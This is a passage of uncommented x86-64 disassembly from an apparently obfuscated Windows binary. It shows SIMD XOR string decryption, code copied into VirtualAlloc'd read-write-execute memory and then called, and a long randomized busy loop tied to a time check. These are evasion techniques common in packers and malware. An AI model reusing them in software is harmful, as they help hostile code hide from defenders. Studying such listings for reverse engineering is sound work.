shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x14022c350
cmp r9d, 0x37
jge 0x14022c541
movsxd rax, r9d
lea r10, [rsp + 0x3e0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x37
jl 0x14022c4f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2b0], xmm0
mov qword [rsp + 0x2c0], rdi
mov qword [rsp + 0x2c8], rdi
lea rax, [rsp + 0x3e0]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022c570
lea rdx, [rsp + 0x3e0]
lea rcx, [rsp + 0x2b0]
call fcn.140206910
lea rcx, [rsp + 0x2b0]
call fcn.1401fa260
lea rbx, [0x140208950]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140283a60]
lea r12, [0x140238d40]
test rax, rax
je 0x14022c620
mov rdx, rdi
cmp rax, r12
je 0x14022c60f
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x283a60]
test rax, rax
jne 0x14022c5f7
jmp 0x14022c620
mov rdx, qword [rsi + rdx*8 + 0x2853c0]
test rdx, rdx
jne 0x14022c701
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14022c649
mov rdx, rdi
jmp 0x14022c6e0
mov rax, r12
mov rcx, rdx
mov r8, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14022c652
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284728]
mov qword [rsi + rax*8 + 0x283a60], r12
mov qword [rsi + rax*8 + 0x2853c0], rdx
inc rax
mov qword [0x140284728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
lea rbx, [0x140200d10]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140283a60]
test rax, rax
je 0x14022c7a9
mov rdx, rdi
nop dword [rax]
cmp rax, r12
je 0x14022c798
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x283a60]
test rax, rax
jne 0x14022c780
jmp 0x14022c7a9
mov rdx, qword [rsi + rdx*8 + 0x2853c0]
test rdx, rdx
jne 0x14022c88f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14022c7d2
mov rdx, rdi
jmp 0x14022c86e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14022c7e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284728]
mov qword [rsi + rax*8 + 0x283a60], r12
mov qword [rsi + rax*8 + 0x2853c0], rdx
inc rax
mov qword [0x140284728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x82a4], 0xffffffff
mov dword [rsp + 0x6f24], eax
mov ebx, 1
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x6f24], eax
inc rdx
cmp rdx, 0x270
jb 0x14022c8e0
mov dword [rsp + 0x6f20], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xb20]
call fcn.1401f17b0
mov r14, qword [rsp + 0xb20]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x7d8]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x14022cabe
mov r15d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x6f20]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022c98b
nop dword [rax + rax]
lea rcx, [rsp + 0x6f20]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022c970
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xb20], eax
lea rcx, [rsp + 0x6f20]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022c9db
nop
lea rcx, [rsp + 0x6f20]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022c9c0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x6f20]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022ca2b
nop
lea rcx, [rsp + 0x6f20]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022ca10
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x6f20]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022ca7b
nop
lea rcx, [rsp + 0x6f20]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022ca60
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xb20]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r15, rbx
jne 0x14022c950
jmp 0x14022c930
mov eax, dword [rsp + 0x40]
lea rbx, [0x1401f3990]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140283a60]
test rax, rax
mov r15, 0xffffffffffffffff
je 0x14022cb50
mov rdx, rdi
cmp rax, r12
je 0x14022cb3f
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x283a60]
test rax, rax
jne 0x14022cb27
jmp 0x14022cb50
mov rdx, qword [rsi + rdx*8 + 0x2853c0]
test rdx, rdx
jne 0x14022cc31
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14022cb79
mov rdx, rdi
jmp 0x14022cc10
mov rax, r12
mov rcx, rdx
mov r8, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14022cb82
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284728]
mov qword [rsi + rax*8 + 0x283a60], r12
mov qword [rsi + rax*8 + 0x2853c0], rdx
inc rax
mov qword [0x140284728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
movups xmm0, xmmword [0x14026ce78]
movups xmmword [rsp + 0x3b0], xmm0
movups xmm1, xmmword [0x14026ce88]
movups xmmword [rsp + 0x3c0], xmm1
movsd xmm0, qword [0x14026ce98]
movsd qword [rsp + 0x3d0], xmm0
mov eax, dword [0x14026cea0]
mov dword [rsp + 0x3d8], eax
mov r9d, edi
mov ebx, dword [0x14027e090]
cmp ebx, 2
jl 0x14022ce43
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x3b4]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14022ccc0
cmp r9d, 0x2c
jge 0x14022ceb1
movsxd rax, r9d
lea r10, [rsp + 0x3b0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2c
jl 0x14022ce60
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
mov qword [rsp + 0x2e0], rdi
mov qword [rsp + 0x2e8], rdi
lea rax, [rsp + 0x3b0]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022cee0
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0x2d0]
call fcn.140206910
lea rcx, [rsp + 0x2d0]
call fcn.1401fa260
nop
call fcn.140210510
cmp qword [0x140281440], 5
jae 0x14022d20e
movsd xmm0, qword [str._7___]
movsd qword [rsp + 0xa0], xmm0
mov ecx, dword [0x14026b700]
mov dword [rsp + 0xa8], ecx
movzx eax, word [0x14026b704]
mov word [rsp + 0xac], ax
cmp byte [0x14026b705], 0
je 0x14022d1e1
mov r9d, edi
cmp ebx, 2
jl 0x14022d180
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._7___]
xorps xmm2, xmm0
movd dword [rsp + 0xa0], xmm2
movdqa xmm4, xmmword [0x14026e1b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xa4]
xorps xmm2, xmm1
movd dword [rsp + 0xa4], xmm2
movdqa xmm4, xmmword [0x14026e1d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xa8], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xa0]
add r10, rax
nop
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14022d190
lea rax, [rsp + 0xa0]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022d1f0
lea rdx, [rsp + 0xa0]
lea rcx, [0x140281430]
call fcn.140236a10
lea rcx, [rsp + 0xa50]
call fcn.14020f970
mov rdx, rax
lea rcx, [0x1402811b0]
call fcn.140234ef0
lea rcx, [rsp + 0xa50]
call fcn.140236770
nop
jmp 0x14022d29e
lea rbx, [0x1401fc270]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140283a60]
test rax, rax
je 0x14022d31b
mov rdx, rdi
cmp rax, r12
je 0x14022d30a
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x283a60]
test rax, rax
jne 0x14022d2f2
jmp 0x14022d31b
mov rdx, qword [rsi + rdx*8 + 0x2853c0]
test rdx, rdx
jne 0x14022d3ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14022d344
mov rdx, rdi
jmp 0x14022d3de
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14022d350
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284728]
mov qword [rsi + rax*8 + 0x283a60], r12
mov qword [rsi + rax*8 + 0x2853c0], rdx
inc rax
mov qword [0x140284728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
movups xmm0, xmmword [str.m462:l]
movups xmmword [rsp + 0x620], xmm0
movups xmm1, xmmword [0x14026cd00]
movups xmmword [rsp + 0x630], xmm1
movups xmm0, xmmword [0x14026cd10]
movups xmmword [rsp + 0x640], xmm0
movups xmm1, xmmword [0x14026cd20]
movups xmmword [rsp + 0x650], xmm1
movsd xmm0, qword [0x14026cd30]
movsd qword [rsp + 0x660], xmm0
mov eax, dword [0x14026cd38]
mov dword [rsp + 0x668], eax
movzx eax, word [0x14026cd3c]
mov word [rsp + 0x66c], ax
movzx eax, byte [0x14026cd3e]
mov byte [rsp + 0x66e], al
mov r9d, edi
mov ebx, dword [0x14027e090]
cmp ebx, 2
jl 0x14022d643
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x624]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x14022d4c0
cmp r9d, 0x4f
jge 0x14022d6b1
movsxd rax, r9d
lea r10, [rsp + 0x620]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
